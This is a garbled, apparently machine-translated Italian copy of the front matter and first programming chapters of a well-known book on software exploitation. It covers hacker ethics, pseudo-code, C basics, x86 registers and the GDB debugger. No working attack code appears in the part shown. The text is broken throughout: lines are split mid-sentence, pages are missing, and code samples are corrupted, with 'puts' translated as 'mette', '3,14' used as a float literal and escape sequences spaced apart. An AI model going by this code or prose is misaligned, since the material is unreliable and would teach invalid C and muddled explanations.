Testo originale
Contribuisci a una traduzione migliore
NSIDE
H ITION
ACKIN 2 ° EDIZIO
G
T
H
E
UN
R
T
HACKIN
L'ARTE DELLO SFRUTTA
O
F
E
X
P
LO
ITA JON ERICK
T
IO
N
KSON
Pagina 3
2
“Il tutorial più completo sulle tecniche di hacking. Finalmente un libro che non lo fa
mostra solo come utilizzare gli exploit ma come svilupparli. "
- PHRACK
"Il libro di Erickson, una guida compatta e senza fronzoli per hacker inesperti,
è pieno di codice reale e tecniche di hacking e spiegazioni su come
lavorano."
- RIVISTA UTENTE ( CPU ) ALIMENTAZIONE DEL COMPUTER
"Questo libro è eccellente. Coloro che sono pronti a passare a [il prossimo
livello] dovrebbe prendere questo libro e leggerlo attentamente. "
- CHI . COM INTERNET / SICUREZZA DELLA RETE
Pagina 5
4
San Francisco
Pagina 6
Tutti i diritti riservati. Nessuna parte di questo lavoro può essere riprodotta o trasmessa in qualsiasi forma o con qualsiasi mezzo, elettronico o
meccanico, inclusa la fotocopia, la registrazione o qualsiasi sistema di archiviazione o recupero delle informazioni, senza previa autorizzazione
autorizzazione scritta del proprietario del copyright e dell'editore.
11 10 09 08 07 123456789
ISBN-10: 1-59327-144-1
ISBN-13: 978-1-59327-144-2
Per informazioni sui distributori di libri o sulle traduzioni, contattare direttamente No Starch Press, Inc.:
No Starch Press e il logo No Starch Press sono marchi registrati di No Starch Press, Inc. Altri prodotti e
i nomi delle società qui menzionati possono essere marchi dei rispettivi proprietari. Piuttosto che utilizzare un marchio
simbolo con ogni occorrenza di un nome di marchio registrato, stiamo usando i nomi solo in modo editoriale e per il
vantaggio del titolare del marchio, senza alcuna intenzione di contraffazione del marchio.
Le informazioni in questo libro vengono distribuite "così come sono", senza garanzia.Mentre ogni precauzione è stata
presi nella preparazione di questo lavoro, né l'autore né No Starch Press, Inc. avranno alcuna responsabilità nei confronti di alcuno
persona o entità in relazione a qualsiasi perdita o danno causato o presumibilmente causato direttamente o indirettamente da
informazioni in esso contenute.
Pagina 7
BREVE CONTENUTO
Pagina 9
8
CONTENUTI IN DETTAGLIO
PREFAZIONE xi
RICONOSCIMENTI xii
0x100 INTRODUZIONE 1
PROGRAMMAZIONE 0x200 5
0x210 Che cos'è la programmazione? .................................................. ............................... 6
0x220 Pseudo-codice .............................................. .................................................. 7
0x230 Strutture di controllo ............................................... .......................................... 8
0x231 If-Then-Else ............................................ .......................................... 8
0x232 Cicli While / Until ............................................. .............................. 9
0x233 Per loop ............................................... ...................................... 10
0x240 Altri concetti fondamentali di programmazione ............................................. ...... 11
0x241 Variabili ................................................ ..................................... 11
0x242 Operatori aritmetici ............................................... ...................... 12
0x243 Operatori di confronto ............................................... ................... 14
0x244 Funzioni ................................................ ...................................... 16
0x250 Sporcarsi le mani ............................................. ............................... 19
0x251 L'immagine più grande .............................................. ........................... 20
0x252 Il processore x 86 ............................................. ........................... 23
0x253 Linguaggio assembly ............................................... ........................ 25
0x260 Ritorno alle origini .............................................. .............................................. 37
0x261 Stringhe ................................................ ......................................... 38
0x262 Signed, Unsigned, Long e Short ......................................... ........ 41
0x263 Puntatori ................................................ ....................................... 43
Stringhe di formato 0x264 ............................................... ................................ 48
0x265 Typecasting ................................................ .................................. 51
0x266 Argomenti della riga di comando ............................................. ................. 58
0x267 Ambito variabile ............................................... ........................... 62
0x270 Segmentazione della memoria ............................................... ................................. 69
0x271 Segmenti di memoria in C ............................................. ..................... 75
0x272 Uso dell'heap .............................................. ............................... 77
0x273 malloc controllato da errori () ........................................... ........................ 80
0x280 Costruire sulle basi .............................................. ........................................ 81
0x281 Accesso ai file ............................................... .................................... 81
0x282 Autorizzazioni file ............................................... .............................. 87
0x283 ID utente ............................................... ........................................ 88
0x284 Structs ................................................ .......................................... 96
0x285 Puntatori a funzione ............................................... .......................... 100
0x286 Numeri pseudo-casuali ............................................. ................ 101
0x287 Un gioco d'azzardo ............................................. ........................ 102
Pagina 10
Pagina 11
Scansione della porta 0x470 ............................................... ........................................... 264
0x471 Stealth SYN Scan .............................................. .......................... 264
0x472 FIN, X-mas e Null Scans ........................................ .................. 264
0x473 Spoofing Decoys ............................................... .......................... 265
0x474 Scansione inattiva ............................................... ............................... 265
0x475 Difesa proattiva (velo) ............................................ ............... 267
0x480 Raggiungi e hackera qualcuno ............................................ ...................... 272
0x481 Analisi con GDB .............................................. ......................... 273
0x482 Conta quasi solo con le bombe a mano ...................................... 275
Codice shell binding porta 0x483 ............................................. .................... 278
Contenuti in dettaglio ix
Pagina 12
X Contenuti in dettaglio
Pagina 13
PREFAZIONE
Pagina 14
RICONOSCIMENTI
Pagina 15
0x100 INTRODUZIONE
Pagina 16
2 0x100
Pagina 17
introduzione 3
Pagina 18
crittografia eccessivamente semplicistica nel software Adobe e ha presentato le sue scoperte a un
convenzione degli hacker negli Stati Uniti. L'FBI è intervenuta e arrestata
lui, portando a una lunga battaglia legale. Secondo la legge, la complessità del
i controlli dei consumatori del settore non hanno importanza: sarebbe tecnicamente illegale
eseguire il reverse engineering o persino discutere di Pig Latin se fosse usato come
controllo estivo. Chi sono gli hacker e chi sono i cracker adesso? quando
le leggi sembrano interferire con la libertà di parola, fanno i bravi ragazzi che parlano la loro
le menti improvvisamente diventano cattive? Credo che lo spirito dell'hacker trascenda
leggi governative, invece di essere definite da esse.
Le scienze della fisica nucleare e della biochimica possono essere usate per uccidere,
eppure ci forniscono anche un progresso scientifico significativo e moderno
medicinale. Non c'è niente di buono o di cattivo nella conoscenza stessa; la moralità si trova
nell'applicazione della conoscenza. Anche se volessimo, non potremmo reprimerlo
la conoscenza di come convertire la materia in energia o fermare il continuo
progresso tecnologico della società. Allo stesso modo, lo spirito hacker può farlo
non può mai essere interrotto, né può essere facilmente classificato o sezionato. Gli hacker lo faranno
spingere costantemente i limiti della conoscenza e del comportamento accettabile,
costringendoci a esplorare sempre di più.
Parte di questa spinta si traduce in una co-evoluzione definitiva di
sicurezza attraverso la concorrenza tra hacker attaccanti e difesa
hacker. Proprio come la veloce gazzella si è adattata dall'essere inseguita dal ghepardo,
e il ghepardo è diventato ancora più veloce dall'inseguire la gazzella, la
L'azione tra hacker fornisce agli utenti di computer risorse migliori e più forti
sicurezza, nonché tecniche di attacco più complesse e sofisticate. Il
l'introduzione e la progressione dei sistemi di rilevamento delle intrusioni (IDS) è un aspetto fondamentale
esempio di questo processo co-evolutivo. Gli hacker in difesa creano IDS
da aggiungere al loro arsenale, mentre gli hacker attaccanti sviluppano l'evasione dell'IDS
tecniche, che alla fine vengono compensate in IDS più grandi e migliori
prodotti. Il risultato netto di questa interazione è positivo, in quanto produce più smart
persone, maggiore sicurezza, software più stabile, risoluzione dei problemi inventiva
tecniche e persino una nuova economia.
L'intento di questo libro è insegnarti il vero spirito dell'hacking.
Esamineremo varie tecniche di hacker, dal passato al presente,
sezionandoli per imparare come e perché funzionano. Incluso in questo libro è
un LiveCD avviabile contenente tutto il codice sorgente utilizzato nel presente documento nonché un file
ambiente Linux preconfigurato. L'esplorazione e l'innovazione sono fondamentali
all'arte dell'hacking, quindi questo CD ti permetterà di seguire e sperimentare
il tuo. L'unico requisito è un processore x 86, che viene utilizzato da tutti
Macchine Microsoft Windows e computer Macintosh più recenti, semplicemente
inserire il CD e riavviare. Questo ambiente Linux alternativo non disturberà
il tuo sistema operativo esistente, quindi quando hai finito, riavvia di nuovo e rimuovi il CD.
In questo modo, acquisirai una comprensione e un apprezzamento pratico per l'hacking
che potrebbe ispirarti a migliorare le tecniche esistenti o persino a inventare
nuovi. Si spera che questo libro stimoli la curiosa natura hacker in te
e ti spinge a contribuire all'arte dell'hacking in qualche modo, a prescindere
su quale lato del recinto scegli di stare.
4 0x100
Pagina 19
0x200 PROGRAMMAZIONE
Hacker è un termine sia per coloro che scrivono codice che per
chi lo sfrutta. Anche se questi due gruppi di
gli hacker hanno obiettivi finali diversi, entrambi i gruppi usano simili
tecniche di risoluzione dei problemi. Dal momento che una comprensione
della programmazione aiuta coloro che sfruttano e un
la condizione di sfruttamento aiuta coloro che programmano, molti
gli hacker fanno entrambe le cose. Ci sono hack interessanti trovati in entrambe le tecniche
utilizzato per scrivere codice elegante e le tecniche utilizzate per sfruttare i programmi.
L'hacking è in realtà solo l'atto di trovare un intelligente e controintuitivo
soluzione a un problema.
Gli hack trovati negli exploit del programma di solito usano le regole del
computer per aggirare la sicurezza in modi mai previsti. Gli hack di programmazione sono
simili in quanto usano anche le regole del computer in modo nuovo e inventivo
modi, ma l'obiettivo finale è l'efficienza o un codice sorgente più piccolo, non necessariamente a
compromissione della sicurezza. In realtà ci sono un numero infinito di programmi che
Pagina 20
possono essere scritti per svolgere qualsiasi compito, ma la maggior parte di queste soluzioni lo sono
inutilmente grande, complesso e sciatto. Le poche soluzioni che rimangono
sono piccoli, efficienti e ordinati. Si dice che i programmi che hanno queste qualità
hanno l' eleganza e le soluzioni intelligenti e inventive che tendono a portare a
questa efficienza è chiamata hack . Hacker su entrambi i lati della programmazione
apprezzare sia la bellezza di un codice elegante che l'ingegnosità di hack intelligenti.
Nel mondo degli affari, viene attribuita maggiore importanza allo sfornare le funzioni
codice nazionale che sul raggiungimento di hack intelligenti ed eleganza. A causa del
enorme crescita esponenziale della potenza computazionale e della memoria,
spendendo cinque ore in più per creare una memoria leggermente più veloce e più
un pezzo di codice efficiente non ha senso per gli affari quando si tratta di
computer moderni che hanno gigahertz di cicli di elaborazione e gigabyte di
memoria. Mentre le ottimizzazioni di tempo e memoria vanno senza preavviso da parte di tutti
il più sofisticato degli utenti, una nuova funzionalità è commerciabile. Quando il
la linea di fondo è denaro, spendere tempo su hack intelligenti solo per l'ottimizzazione
non ha senso.
Il vero apprezzamento dell'eleganza della programmazione è lasciato agli hacker:
hobbisti di computer il cui obiettivo finale non è realizzare un profitto ma spremere
ogni possibile bit di funzionalità dal loro vecchio Commodore 64, sfrutta
scrittori che hanno bisogno di scrivere piccoli e sorprendenti pezzi di codice da leggere
crepe di sicurezza strette e chiunque altro apprezzi l'inseguimento e il
sfida di trovare la migliore soluzione possibile. Queste sono le persone che ottengono
entusiasta della programmazione e apprezzo davvero la bellezza di un elegante
pezzo di codice o l'ingegnosità di un trucco intelligente. Dal momento che una comprensione di
la programmazione è un prerequisito per capire come possono essere i programmi
sfruttato, la programmazione è un punto di partenza naturale.
Inizia lungo Main Street in direzione est. Continua su Main Street finché non vedi
una chiesa alla tua destra. Se la strada è bloccata a causa di lavori in corso, svolta
a destra in 15th Street, svoltare a sinistra in Pine Street, quindi svoltare a destra
16th Street. Altrimenti, puoi semplicemente continuare e girare a destra sulla 16th Street.
Continua su 16th Street e svolta a sinistra in Destination Road. Prosegui dritto
lungo Destination Road per 5 miglia, e poi vedrai la casa sulla destra.
L'indirizzo è 743 Destination Road.
6 0x200
Pagina 21
0x220 Pseudo-codice
I programmatori hanno ancora un'altra forma di linguaggio di programmazione chiamato
pseudo-codice. Lo pseudo-codice è semplicemente inglese organizzato con una struttura generale
simile a un linguaggio di alto livello. Non è compreso da compilatori, assemblatori,
o qualsiasi computer, ma è un modo utile per un programmatore di organizzare le istruzioni
zioni. Lo pseudo-codice non è ben definito; infatti, la maggior parte delle persone scrive pseudo-codice
leggermente diverso. È una sorta di nebuloso collegamento mancante tra inglese e
linguaggi di programmazione di alto livello come C. Lo pseudo-codice è un eccellente
ha fornito un'introduzione ai concetti comuni di programmazione universale.
Programmazione 7
Pagina 22
0x231 If-Then-Else
Nel caso delle nostre indicazioni stradali, Main Street potrebbe essere in costruzione.
Se lo è, una serie speciale di istruzioni deve affrontare quella situazione. Altrimenti,
seguire il set originale di istruzioni. Questi tipi di casi speciali
può essere rappresentato in un programma con uno dei controlli più naturali
strutture: la struttura if-then-else . In generale, assomiglia a questo:
Se (condizione) allora
{
Insieme di istruzioni da eseguire se la condizione è soddisfatta;
}
Altro
{
Insieme di istruzioni da eseguire se la condizione non è soddisfatta;
}
Per questo libro, verrà utilizzato uno pseudo-codice simile al C, quindi ogni istruzione lo farà
terminare con un punto e virgola e le serie di istruzioni verranno raggruppate con ricci
parentesi graffe e rientranza. La struttura dello pseudo-codice if-then-else del pre-
cedere le indicazioni stradali potrebbe essere simile a questo:
8 0x200
Pagina 23
Ovviamente, altri linguaggi richiedono la parola chiave then nella loro sintassi—
BASIC, Fortran e persino Pascal, per esempio. Questi tipi di sintattici
le differenze nei linguaggi di programmazione sono solo superficiali; il sottostante
la struttura è sempre la stessa. Una volta che un programmatore comprende i concetti
questi linguaggi stanno cercando di trasmettere, imparando le varie variabili sintattiche
azioni è abbastanza banale. Poiché C verrà utilizzato nelle sezioni successive, lo pseudo-
il codice usato in questo libro seguirà una sintassi simile al C, ma ricordatelo
lo pseudo-codice può assumere molte forme.
Un'altra regola comune della sintassi C-like è quando un insieme di istruzioni
delimitato da parentesi graffe consiste in una sola istruzione, le parentesi graffe sono
opzionale. Per motivi di leggibilità, è comunque una buona idea farli rientrare
istruzioni, ma non è sintatticamente necessario. Le indicazioni stradali da
before può essere riscritto seguendo questa regola per produrre un pezzo equivalente di
pseudo-codice:
Programmazione 9
Pagina 24
perché non continui all'infinito. Un ciclo while dice di eseguire il seguente insieme di
istruzioni in un ciclo mentre una condizione è vera. Un semplice programma per affamati
il mouse potrebbe assomigliare a questo:
Per (5 iterazioni)
Prosegui dritto per 1 miglio;
In realtà, un ciclo for è solo un ciclo while con un contatore. Lo stesso stato
ment può essere scritto come tale:
Imposta il contatore a 0;
Mentre (il contatore è inferiore a 5)
10 0x200
Pagina 25
{
Prosegui dritto per 1 miglio;
Aggiungi 1 al contatore;
}
0x241 Variabili
Il contatore utilizzato nel ciclo for è in realtà un tipo di variabile. Una variabile può
essere semplicemente pensato come un oggetto che contiene dati che possono essere modificati -
da qui il nome. Ci sono anche variabili che non cambiano, che sono giustamente
Programmazione 11
Pagina 26
int a, b;
float k;
char z;
Le variabili a e b sono ora definiti come numeri interi, k possono accettare floating
valori in punti (come 3.14) e z dovrebbe contenere un valore di carattere, come A
o w . Alle variabili possono essere assegnati valori quando vengono dichiarate o in qualsiasi momento
in seguito, utilizzando l' operatore = .
int a = 13, b;
float k;
char z = 'A';
k = 3,14;
z = 'w';
b = a + 5;
12 0x200
Pagina 27
Aggiunta + b=a+5
Sottrazione - b=a-5
Moltiplicazione * b=a*5
Divisione / b=a/5
Riduzione modulo% b = a% 5
Per fare in modo che un programma utilizzi questi concetti, è necessario parlare la sua lingua. Il
Il linguaggio C fornisce anche diverse forme di abbreviazione per queste operazioni aritmetiche
azioni. Uno di questi è stato menzionato in precedenza ed è usato comunemente nei cicli for.
Queste espressioni stenografiche possono essere combinate con altre operazioni aritmetiche
operazioni per produrre espressioni più complesse. È qui che le differenze
diventa evidente tra i ++ e ++ i . La prima espressione significa
Incrementa il valore di i di 1 dopo aver valutato l'operazione aritmetica , mentre il
seconda espressione significa Incrementa il valore di i di 1 prima di valutare il
operazione aritmetica . Il seguente esempio aiuterà a chiarire.
int a, b;
a = 5;
b = a ++ * 6;
b = a * 6;
a = a + 1;
a = a + 1;
b = a * 6;
Programmazione 13
Pagina 28
Molto spesso nei programmi, le variabili devono essere modificate sul posto. Per
Ad esempio, potresti dover aggiungere un valore arbitrario come 12 a una variabile e
memorizzare il risultato di nuovo in quella variabile (ad esempio, i = i + 12 ). Questo
accade abbastanza comunemente che esiste anche una stenografia per questo.
Uguale a == (a == b)
La maggior parte di questi operatori si spiega da sé; si noti tuttavia che il file
la stenografia per uguale a usa il doppio segno di uguale. Questa è una distinzione importante
zione, poiché il doppio segno di uguale viene utilizzato per testare l'equivalenza, mentre il singolo
il segno di uguale viene utilizzato per assegnare un valore a una variabile. L'affermazione a = 7 significa
Metti il valore 7 nella variabile a , mentre a == 7 significa Controlla per vedere se la variabile
a è uguale a 7 . (Alcuni linguaggi di programmazione come Pascal usano effettivamente : = for
assegnazione variabile per eliminare la confusione visiva.) Inoltre, notare che un file
punto esclamativo generalmente significa no . Questo simbolo può essere utilizzato da solo per
invertire qualsiasi espressione.
14 0x200
Pagina 29
Mentre (affamato == 1)
{
Trova del cibo;
Mangia il cibo;
}
Mentre (affamato)
{
Trova del cibo;
Mangia il cibo;
}
Un programma per il mouse più intelligente con più input dimostra come confrontare
gli operatori figlio possono essere combinati con le variabili.
Questo esempio presuppone che ci siano anche variabili che descrivono la presenza
di un gatto e la posizione del cibo, con un valore di 1 per vero e 0 per falso.
Ricorda solo che qualsiasi valore diverso da zero è considerato vero e il valore 0
è considerato falso.
Programmazione 15
Pagina 30
Funzioni 0x244
A volte ci sarà una serie di istruzioni che il programmatore sa che farà
bisogno più volte. Queste istruzioni possono essere raggruppate in una
programma chiamato funzione . In altre lingue, le funzioni sono note come sub-
routine o procedure. Ad esempio, l'azione di trasformare un'auto in realtà
consiste in molte istruzioni più piccole: accendi il lampeggiante appropriato, lentamente
verso il basso, verificare la presenza di traffico in arrivo, girare il volante in modo appropriato
direzione e così via. Le indicazioni stradali dall'inizio di questo capitolo
occorrono parecchi giri; tuttavia, elencando ogni piccola istruzione per ogni
sarebbe noioso (e meno leggibile). Puoi passare variabili come argomenti
a una funzione per modificare il modo in cui opera la funzione. In questo caso,
la funzione è passata alla direzione della svolta.
Questa funzione descrive tutte le istruzioni necessarie per effettuare una svolta. quando
un programma che conosce questa funzione deve essere attivato, può semplicemente chiamarlo
funzione. Quando la funzione viene chiamata, le istruzioni che si trovano al suo interno sono
eseguito con gli argomenti passati ad esso; in seguito, l'esecuzione torna a
dove si trovava nel programma, dopo la chiamata alla funzione. Può la sinistra o la destra
essere passato in questa funzione, che fa sì che la funzione si trasformi in quella
direzione.
Per impostazione predefinita in C, le funzioni possono restituire un valore a un chiamante. Per coloro
familiarità con le funzioni in matematica, questo ha perfettamente senso. Immagina un file
funzione che calcola il fattoriale di un numero, naturalmente restituisce
risultato.
In C, le funzioni non sono etichettate con una parola chiave "funzione"; invece, loro
sono dichiarati dal tipo di dati della variabile che stanno restituendo. Questo formato
sembra molto simile alla dichiarazione delle variabili. Se una funzione deve restituire un file
16 0x200
Pagina 31
Questa funzione è dichiarata come un numero intero perché moltiplica ogni valore
da 1 a x e restituisce il risultato, che è un numero intero. La dichiarazione di ritorno
alla fine della funzione restituisce il contenuto della variabile x e termina
la funzione. Questa funzione fattoriale può quindi essere utilizzata come una variabile intera
nella parte principale di qualsiasi programma che lo sappia.
int a = 5, b;
b = fattoriale (a);
Programmazione 17
Pagina 32
18 0x200
Pagina 33
firstprog.c
#include <stdio.h>
int main ()
{
int i;
for (i = 0; i <10; i ++) // Ripeti 10 volte.
{
mette ("Ciao, mondo! \ n"); // inserisce la stringa nell'output.
}
return 0; // Indica al sistema operativo che il programma è stato chiuso senza errori.
}
Programmazione 19
Pagina 34
libreria, è necessario un prototipo di funzione per printf () prima che possa essere utilizzato.
Questo prototipo di funzione (insieme a molti altri) è incluso in stdio.h
file di intestazione. Gran parte della potenza di C deriva dalla sua estensibilità e dalle librerie.
Il resto del codice dovrebbe avere senso e assomigliare molto allo pseudo-codice
da prima. Potresti anche aver notato che c'è una serie di parentesi graffe che
può essere eliminato. Dovrebbe essere abbastanza ovvio cosa farà questo programma, ma
compiliamolo usando GCC ed eseguiamolo solo per essere sicuri.
La GNU Compiler Collection (GCC) è un compilatore C gratuito che traduce C
in un linguaggio macchina comprensibile da un processore. Il trans-
lation è un file binario eseguibile, chiamato per impostazione predefinita a.out . Fa il
programma compilato fare quello che pensavi che sarebbe?
20 0x200
Pagina 35
Programmazione 21
Pagina 36
Come una fila di case in una strada locale, ognuna con il proprio indirizzo, la propria memoria
può essere pensato come una riga di byte, ciascuno con il proprio indirizzo di memoria. Ogni
è possibile accedere al byte di memoria tramite il suo indirizzo, e in questo caso la CPU
accede a questa parte della memoria per recuperare le istruzioni in linguaggio macchina
che compongono il programma compilato. I vecchi processori Intel x 86 utilizzano un 32 bit
schema di indirizzamento, mentre quelli più recenti ne usano uno a 64 bit. I processori a 32 bit
hanno 2 32 (o 4.294.967.296) indirizzi possibili, mentre quelli a 64 bit ne hanno 2 64
(1.84467441 × 10 19 ) indirizzi possibili. I processori a 64 bit possono essere eseguiti in
Modalità di compatibilità a 32 bit, che consente loro di eseguire rapidamente codice a 32 bit.
I byte esadecimali al centro dell'elenco sopra sono la macchina
istruzioni in lingua per il processore x 86. Ovviamente questi valori esadecimali
sono solo rappresentazioni dei byte di 1 e 0 binari che la CPU può
In piedi. Ma dal momento che 0101010110001001111001011000001111101100111100001. . .
non è molto utile a nient'altro che al processore, il codice macchina lo è
visualizzato come byte esadecimali e ogni istruzione viene inserita su una riga separata,
come dividere un paragrafo in frasi.
A pensarci bene, i byte esadecimali non sono davvero molto utili per loro-
anche i sé: è qui che entra in gioco il linguaggio assembly. Le istruzioni su
l'estrema destra sono in linguaggio assembly. Il linguaggio Assembly è davvero solo un colore
lezione di mnemonici per le corrispondenti istruzioni in linguaggio macchina.
L'istruzione ret è molto più facile da ricordare e da dare un senso a 0xc3 o
11000011 . A differenza del C e di altri linguaggi compilati, il linguaggio assembly
hanno una relazione diretta uno a uno con la macchina corrispondente
istruzioni in lingua. Ciò significa che poiché ogni architettura del processore ha
diverse istruzioni in linguaggio macchina, ognuna ha anche una forma diversa di
linguaggio assembly. L'assembly è solo un modo per i programmatori di rappresentare il file
istruzioni in linguaggio macchina fornite al processore. Esattamente come
queste istruzioni in linguaggio macchina sono rappresentate è semplicemente una questione di
convenzione e preferenza. Sebbene tu possa teoricamente creare il tuo x 86
sintassi del linguaggio assembly, la maggior parte delle persone si attacca a uno dei due tipi principali:
Sintassi AT&T e sintassi Intel. L'assieme mostrato nell'output a pagina 2 1
è la sintassi di AT&T, poiché quasi tutti gli strumenti di disassemblaggio di Linux utilizzano questa sintassi di
predefinito. È facile riconoscere la sintassi AT&T dalla cacofonia dei simboli % e $
anteponendo tutto (guarda di nuovo l'esempio a pagina 21 ). Lo stesso
il codice può essere visualizzato nella sintassi Intel fornendo una riga di comando aggiuntiva
opzione, -M intel , a objdump , come mostrato nell'output di seguito.
22 0x200
Pagina 37
Personalmente, penso che la sintassi Intel sia molto più leggibile e facile da leggere
capire, quindi per gli scopi di questo libro, cercherò di attenermi a questa sintassi.
Indipendentemente dalla rappresentazione in linguaggio assembly, i comandi
cessor capisce sono abbastanza semplici. Queste istruzioni consistono in un'operazione
azioni e talvolta argomenti aggiuntivi che descrivono la destinazione
e / o la fonte dell'operazione. Queste operazioni spostano la memoria
intorno, eseguire una sorta di matematica di base o interrompere il processore per ottenerlo
fare qualcos'altro. Alla fine, questo è tutto ciò che un processore per computer può davvero
fare. Ma allo stesso modo milioni di libri sono stati scritti utilizzando un file relativamente
piccolo alfabeto di lettere, può essere un numero infinito di possibili programmi
creato utilizzando una raccolta relativamente piccola di istruzioni macchina.
I processori hanno anche il proprio set di variabili speciali chiamate registri . Maggior parte
delle istruzioni utilizzare questi registri per leggere o scrivere dati, quindi comprensione
i registri di un processore è essenziale per la comprensione delle istruzioni.
L'immagine più grande continua a ingrandirsi. . . .
0x252 Il processore x 86
La CPU 8086 è stata il primo processore x 86. È stato sviluppato e prodotto
da Intel, che in seguito ha sviluppato processori più avanzati nello stesso
famiglia: 80186, 80286, 80386 e 80486. Se ricordi le persone che parlano
circa 386 e 486 processori negli anni '80 e '90, ecco cosa erano
riferito a.
Il processore x 86 ha diversi registri, che sono come variabili interne
per il processore. Potrei parlare in modo astratto di questi registri ora, ma
Penso che sia sempre meglio vedere le cose di persona. Lo sviluppo GNU
gli strumenti includono anche un debugger chiamato GDB. I debugger sono usati dal programma-
mers per scorrere i programmi compilati, esaminare la memoria del programma e
visualizzare i registri del processore. Un programmatore che non ha mai usato un debugger per
guardare il funzionamento interno di un programma è come un medico del diciassettesimo secolo
chi non ha mai usato un microscopio. Simile a un microscopio, un debugger lo consente
un hacker per osservare il mondo microscopico del codice macchina, ma un debugger sì
molto più potente di quanto questa metafora consenta. A differenza di un microscopio, un debugger
può visualizzare l'esecuzione da tutte le angolazioni, metterla in pausa e modificare qualsiasi cosa
la via.
Programmazione 23
Pagina 38
Di seguito, GDB viene utilizzato per mostrare lo stato dei registri del processore subito prima
il programma si avvia.
Un punto di interruzione è impostato sulla funzione main () , quindi l'esecuzione si interromperà correttamente
prima che il nostro codice venga eseguito. Quindi GDB esegue il programma, si ferma al
breakpoint, e gli viene detto di visualizzare tutti i registri del processore e il loro file
stati attuali.
I primi quattro registri ( EAX , ECX , EDX e EBX ) sono noti come generici
registri delle finalità. Questi sono chiamati accumulatore , contatore , dati e base
registri, rispettivamente. Sono usati per una varietà di scopi, ma principalmente
agiscono come variabili temporanee per la CPU quando è in esecuzione la macchina
Istruzioni.
Anche i secondi quattro registri ( ESP , EBP , ESI e EDI ) sono generali
registri di scopo, ma a volte sono noti come puntatori e indici.
Questi stanno per Stack Pointer , Base Pointer , Source Index e Destination Index ,
rispettivamente. I primi due registri sono chiamati puntatori perché memorizzano 32 bit
indirizzi, che essenzialmente puntano a quella posizione in memoria. Questi registri
sono abbastanza importanti per l'esecuzione del programma e la gestione della memoria; noi
discuterne più tardi. Gli ultimi due registri sono anche tecnicamente puntatori,
24 0x200
Pagina 39
che sono comunemente usati per puntare all'origine e alla destinazione quando i dati
deve essere letto o scritto. Sono disponibili istruzioni per il caricamento e il salvataggio
che usano questi registri, ma per la maggior parte, questi registri possono essere pensati
come semplici registri generici.
Il registro EIP è il registro del puntatore dell'istruzione , che punta al file
istruzione corrente che il processore sta leggendo. Come un bambino che punta il dito
ad ogni parola mentre legge, il processore legge ogni istruzione usando l'EIP
registrati come il suo dito. Naturalmente, questo registro è abbastanza importante e verrà utilizzato
molto durante il debug. Attualmente, punta a un indirizzo di memoria a 0x804838a .
Il registro EFLAGS rimanente consiste in realtà di diversi flag di bit che
vengono utilizzati per confronti e segmentazioni della memoria. La memoria effettiva è
suddiviso in diversi segmenti, che verranno discussi in seguito, e questi
i registri ne tengono traccia. Per la maggior parte, questi registri possono essere ignorati
poiché raramente è necessario accedervi direttamente.
Ora che GDB è configurato per utilizzare la sintassi Intel, iniziamo a capire
esso. Le istruzioni di assemblaggio nella sintassi Intel generalmente seguono questo stile:
Programmazione 25
Pagina 40
Esistono anche operazioni che vengono utilizzate per controllare il flusso di esecuzione.
L' operazione cmp viene utilizzata per confrontare i valori e praticamente qualsiasi operazione
che inizia con j viene utilizzato per passare a una parte diversa del codice (a seconda
sul risultato del confronto). L'esempio seguente confronta prima un 4 byte
valore situato su EBP meno 4 con il numero 9. L'istruzione successiva è breve-
mano per salto se minore o uguale a , facendo riferimento al risultato del precedente
confronto. Se quel valore è minore o uguale a 9, l'esecuzione salta al file
istruzione a 0x8048393 . Altrimenti, l'esecuzione passa all'istruzione successiva
con un salto incondizionato. Se il valore non è minore o uguale a 9, exe-
cution salterà a 0x80483a6 .
Questi esempi sono stati dal nostro precedente smontaggio, e lo abbiamo fatto
il nostro debugger è configurato per utilizzare la sintassi Intel, quindi usiamo il debugger per eseguire il passaggio
attraverso il primo programma a livello di istruzione di assemblaggio.
Il flag -g può essere utilizzato dal compilatore GCC per includere un debug aggiuntivo
informazioni, che daranno a GDB l'accesso al codice sorgente.
26 0x200
Pagina 41
In primo luogo, viene elencato il codice sorgente e lo smontaggio della funzione main ()
È visualizzato. Quindi viene impostato un punto di interruzione all'inizio di main () e il programma è
correre. Questo punto di interruzione dice semplicemente al debugger di sospendere l'esecuzione di
programma quando si arriva a quel punto. Poiché il punto di interruzione è stato impostato in
inizio della funzione main () , il programma raggiunge il punto di interruzione e si ferma
prima di eseguire effettivamente qualsiasi istruzione in main () . Quindi il valore di EIP
(il puntatore dell'istruzione) viene visualizzato.
Si noti che EIP contiene un indirizzo di memoria che punta a un'istruzione in
il disassemblaggio della funzione main () (mostrato in grassetto). Le istruzioni prima di questo
(mostrato in corsivo) sono noti collettivamente come prologo della funzione e sono
erato dal compilatore per impostare la memoria per il resto delle funzioni main ()
variabili locali. Parte del motivo per cui le variabili devono essere dichiarate in C è di aiuto
la costruzione di questa sezione di codice. Il debugger conosce questa parte di
il codice viene generato automaticamente ed è abbastanza intelligente da saltarlo. Parleremo
più avanti sul prologo della funzione, ma per ora possiamo prendere spunto da
GDB e saltalo.
Il debugger GDB fornisce un metodo diretto per esaminare la memoria, utilizzando
il comando x , che è l'abbreviazione di exam . L'esame della memoria è fondamentale
abilità per qualsiasi hacker. La maggior parte degli exploit degli hacker sono molto simili ai trucchi magici: loro
sembra incredibile e magico, a meno che tu non sappia di giochi di prestigio e
sviamento. Sia nella magia che nell'hacking, se dovessi guardare nel modo giusto
spot, il trucco sarebbe ovvio. Questo è uno dei motivi per cui un buon mago
non fa mai lo stesso trucco due volte. Ma con un debugger come GDB, ogni aspetto
dell'esecuzione di un programma può essere esaminato in modo deterministico, messo in pausa, sottoposto a gradini
e ripetuto tutte le volte che è necessario. Poiché un programma in esecuzione è principalmente
solo un processore e segmenti di memoria, esaminare la memoria è il primo modo
per vedere cosa sta realmente accadendo.
Il comando e x amine in GDB può essere usato per guardare un certo indirizzo
di memoria in una varietà di modi. Questo comando prevede due argomenti quando
è usato: la posizione in memoria da esaminare e come visualizzare quella memoria.
Programmazione 27
Pagina 42
Il formato di visualizzazione utilizza anche una scorciatoia di una sola lettera, che è facoltativamente
preceduto da un conteggio del numero di elementi da esaminare. Alcuni formati comuni
le lettere sono le seguenti:
o Visualizzazione in ottale.
x Visualizzazione in esadecimale.
u Visualizzazione in decimale base 10 standard senza segno.
t Visualizza in binario.
Questi possono essere usati con il comando e x amine per esaminarne un certo
indirizzo di memoria. Nell'esempio seguente, l'indirizzo corrente dell'EIP
viene utilizzato il registro. I comandi abbreviati sono spesso usati con GDB e persino
registro info eip può essere abbreviato in solo ir eip .
(gdb) ir eip
